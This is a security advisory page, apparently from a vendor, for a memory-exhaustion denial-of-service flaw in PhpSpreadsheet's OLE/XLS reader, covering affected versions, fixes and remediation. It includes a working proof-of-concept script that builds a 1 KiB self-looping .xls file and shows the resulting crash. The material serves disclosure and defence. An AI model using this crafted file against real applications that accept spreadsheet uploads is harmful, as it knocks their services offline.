GHSA-xh5m-36r6-47m3 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in phpoffice/phpspreadsheet. A fix is available for phpoffice/phpspreadsheet — see the affected versions and patch details below.
PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-xh5m-36r6-47m3.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-xh5m-36r6-47m3 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheetReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.
This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.
Vulnerability details
OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:
src/PhpSpreadsheet/Shared/OLERead.php:82reads the entire file after validating only the OLE magic.src/PhpSpreadsheet/Shared/OLERead.php:84-97reads sector-chain metadata from the file header.src/PhpSpreadsheet/Shared/OLERead.php:132-146buildsbigBlockChainand then follows the small-block depot chain.
The vulnerable loop is:
$sbdBlock = $this->sbdStartBlock;
$this->smallBlockChain = '';
while ($sbdBlock != -2) {
$pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;
$this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
$pos += 4 * $bbs;
$sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
}
There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.
The issue is reachable during normal reader detection/loading:
src/PhpSpreadsheet/Reader/XlsBase.php:153-165callsOLERead::read()fromcanRead().src/PhpSpreadsheet/Reader/Xls.php:376-383callsOLERead::read()fromloadOLE().src/PhpSpreadsheet/IOFactory.php:181-213callscanRead()while creating a reader for a file, so automatic format detection can trigger the issue.
Similar unbounded sector-chain walks exist later in stream reading:
src/PhpSpreadsheet/Shared/OLERead.php:175-180src/PhpSpreadsheet/Shared/OLERead.php:198-202src/PhpSpreadsheet/Shared/OLERead.php:218-222
The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.
Impact
A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.
The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.
Safe local proof of concept
This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.
docker run --rm --network none -i \
-v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
-w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
$set(0, hex2bin("D0CF11E0A1B11AE1"));
$set(28, "\xfe\xff");
$set(30, pack("v", 9)); // sector size 512
$set(32, pack("v", 6)); // mini sector size 64
$set(44, pack("l", 1)); // 1 SAT sector
$set(48, pack("l", 0)); // directory first sector 0
$set(56, pack("l", 4096)); // mini stream cutoff
$set(60, pack("l", 0)); // SSAT first sector 0
$set(64, pack("l", 1)); // one SSAT sector
$set(68, pack("l", -2)); // no MSAT extension
$set(72, pack("l", 0)); // no extension sectors
$set(76, pack("l", 0)); // DIFAT says SAT is sector 0
$set(512, pack("l", 0)); // SAT entry for sector 0 points to itself
file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);
printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));
' 2>&1 || true
SH
Observed output:
ole_size=1024
PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
PHP Stack trace:
PHP 1. {main}() Command line code:0
PHP 2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4
PHP 3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164
Suggested remediation
- Validate every OLE sector-chain walk with:
- a visited-sector set to reject cycles;
- maximum chain length based on file size and sector size;
- bounds checks before reading from
$this->data,$this->bigBlockChain, or$this->smallBlockChain; - rejection of negative sector IDs other than the documented end-of-chain marker.
- Replace fatal memory exhaustion with a recoverable
Reader\Exceptionfor malformed OLE chains. - Apply the same guarded chain-walk helper to:
- small-block depot chain construction;
- small-block stream extraction;
- big-block stream extraction;
readData().
- Add regression tests with self-looping and out-of-range SAT/SSAT chains.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 4.0.0&&< 5.8.1 | 5.8.1composer require phpoffice/phpspreadsheet:^5.8.1 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 3.3.0&&< 3.10.7 | 3.10.7composer require phpoffice/phpspreadsheet:^3.10.7 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.2.0&&< 2.4.7 | 2.4.7composer require phpoffice/phpspreadsheet:^2.4.7 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.0.0&&< 2.1.18 | 2.1.18composer require phpoffice/phpspreadsheet:^2.1.18 |
| 🐘Packagist | phpoffice/phpspreadsheet | all versions | 1.30.6composer require phpoffice/phpspreadsheet:^1.30.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update phpoffice/phpspreadsheet to 5.8.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xh5m-36r6-47m3 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-xh5m-36r6-47m3 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-xh5m-36r6-47m3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xh5m-36r6-47m3 in your dependencies?
O3 Security finds GHSA-xh5m-36r6-47m3 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.